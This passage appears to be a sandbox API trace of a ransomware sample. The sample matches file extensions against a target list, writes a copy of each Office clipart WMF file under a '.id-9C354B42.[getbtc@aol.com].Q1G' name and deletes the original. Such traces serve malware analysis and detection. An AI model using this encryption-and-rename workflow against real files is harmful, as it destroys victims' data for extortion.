[0263.580] lstrlenW (lpString=".ppt") returned 4 [0263.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.580] lstrlenW (lpString=".zip") returned 4 [0263.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.580] lstrlenW (lpString=".rar") returned 4 [0263.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".bz2") returned 4 [0263.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".7z") returned 3 [0263.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".dbf") returned 4 [0263.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".1cd") returned 4 [0263.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".jpg") returned 4 [0263.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".doc") returned 4 [0263.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".docx") returned 5 [0263.581] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.581] lstrlenW (lpString=".pdf") returned 4 [0263.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".xls") returned 4 [0263.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.581] lstrlenW (lpString=".xlsx") returned 5 [0263.581] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.581] lstrlenW (lpString=".ppt") returned 4 [0263.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".zip") returned 4 [0263.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.581] lstrlenW (lpString=".rar") returned 4 [0263.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".bz2") returned 4 [0263.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".7z") returned 3 [0263.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.581] lstrlenW (lpString=".dbf") returned 4 [0263.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.582] lstrlenW (lpString=".1cd") returned 4 [0263.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.582] lstrlenW (lpString=".jpg") returned 4 [0263.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.582] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.582] lstrlenW (lpString="J0153518.WMF") returned 12 [0263.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.582] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12528) returned 1 [0263.582] CloseHandle (hObject=0x39c) returned 1 [0263.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0263.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.583] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.583] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.584] GetLastError () returned 0x0 [0263.584] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x30f0, lpOverlapped=0x0) returned 1 [0263.595] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3100, lpOverlapped=0x0) returned 1 [0263.596] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.596] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.596] SetEndOfFile (hFile=0x3d8) returned 1 [0263.596] CloseHandle (hObject=0x3d8) returned 1 [0263.596] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.596] SetEndOfFile (hFile=0x39c) returned 1 [0263.599] CloseHandle (hObject=0x39c) returned 1 [0263.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString=".doc") returned 4 [0263.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString=".docx") returned 5 [0263.600] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.600] lstrlenW (lpString=".pdf") returned 4 [0263.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString=".xls") returned 4 [0263.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.600] lstrlenW (lpString=".xlsx") returned 5 [0263.600] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.600] lstrlenW (lpString=".ppt") returned 4 [0263.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString=".zip") returned 4 [0263.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.600] lstrlenW (lpString=".rar") returned 4 [0263.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString=".bz2") returned 4 [0263.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString=".7z") returned 3 [0263.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString=".dbf") returned 4 [0263.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString=".1cd") returned 4 [0263.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.600] lstrlenW (lpString=".jpg") returned 4 [0263.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString=".doc") returned 4 [0263.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString=".docx") returned 5 [0263.601] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.601] lstrlenW (lpString=".pdf") returned 4 [0263.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString=".xls") returned 4 [0263.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.601] lstrlenW (lpString=".xlsx") returned 5 [0263.601] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.601] lstrlenW (lpString=".ppt") returned 4 [0263.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString=".zip") returned 4 [0263.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.601] lstrlenW (lpString=".rar") returned 4 [0263.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString=".bz2") returned 4 [0263.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString=".7z") returned 3 [0263.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString=".dbf") returned 4 [0263.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString=".1cd") returned 4 [0263.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0263.601] lstrlenW (lpString=".jpg") returned 4 [0263.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.602] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.602] lstrlenW (lpString="J0156537.WMF") returned 12 [0263.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.603] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1376) returned 1 [0263.603] CloseHandle (hObject=0x39c) returned 1 [0263.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0263.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.604] GetLastError () returned 0x0 [0263.604] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x560, lpOverlapped=0x0) returned 1 [0263.694] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x570, lpOverlapped=0x0) returned 1 [0263.696] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.696] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.696] SetEndOfFile (hFile=0x3d8) returned 1 [0263.696] CloseHandle (hObject=0x3d8) returned 1 [0263.696] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.696] SetEndOfFile (hFile=0x39c) returned 1 [0263.698] CloseHandle (hObject=0x39c) returned 1 [0263.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.707] lstrlenW (lpString=".doc") returned 4 [0263.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString=".docx") returned 5 [0263.707] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.707] lstrlenW (lpString=".pdf") returned 4 [0263.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString=".xls") returned 4 [0263.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.707] lstrlenW (lpString=".xlsx") returned 5 [0263.707] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.707] lstrlenW (lpString=".ppt") returned 4 [0263.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.707] lstrlenW (lpString=".zip") returned 4 [0263.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.707] lstrlenW (lpString=".rar") returned 4 [0263.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString=".bz2") returned 4 [0263.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString=".7z") returned 3 [0263.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.707] lstrlenW (lpString=".dbf") returned 4 [0263.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.707] lstrlenW (lpString=".1cd") returned 4 [0263.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".jpg") returned 4 [0263.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".doc") returned 4 [0263.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString=".docx") returned 5 [0263.708] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.708] lstrlenW (lpString=".pdf") returned 4 [0263.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString=".xls") returned 4 [0263.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.708] lstrlenW (lpString=".xlsx") returned 5 [0263.708] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.708] lstrlenW (lpString=".ppt") returned 4 [0263.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".zip") returned 4 [0263.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.708] lstrlenW (lpString=".rar") returned 4 [0263.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString=".bz2") returned 4 [0263.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString=".7z") returned 3 [0263.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".dbf") returned 4 [0263.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".1cd") returned 4 [0263.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0263.708] lstrlenW (lpString=".jpg") returned 4 [0263.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.709] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.709] lstrlenW (lpString="J0158477.WMF") returned 12 [0263.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.751] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17966) returned 1 [0263.751] CloseHandle (hObject=0x3c4) returned 1 [0263.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0263.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.751] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.751] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.752] GetLastError () returned 0x0 [0263.752] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x462e, lpOverlapped=0x0) returned 1 [0263.754] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0263.755] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.755] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.755] SetEndOfFile (hFile=0x1f8) returned 1 [0263.755] CloseHandle (hObject=0x1f8) returned 1 [0263.755] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.755] SetEndOfFile (hFile=0x3c4) returned 1 [0263.757] CloseHandle (hObject=0x3c4) returned 1 [0263.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0263.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.758] lstrlenW (lpString=".doc") returned 4 [0263.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.758] lstrlenW (lpString=".docx") returned 5 [0263.758] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.758] lstrlenW (lpString=".pdf") returned 4 [0263.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.758] lstrlenW (lpString=".xls") returned 4 [0263.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.758] lstrlenW (lpString=".xlsx") returned 5 [0263.758] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.758] lstrlenW (lpString=".ppt") returned 4 [0263.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".zip") returned 4 [0263.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.759] lstrlenW (lpString=".rar") returned 4 [0263.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString=".bz2") returned 4 [0263.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString=".7z") returned 3 [0263.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".dbf") returned 4 [0263.759] 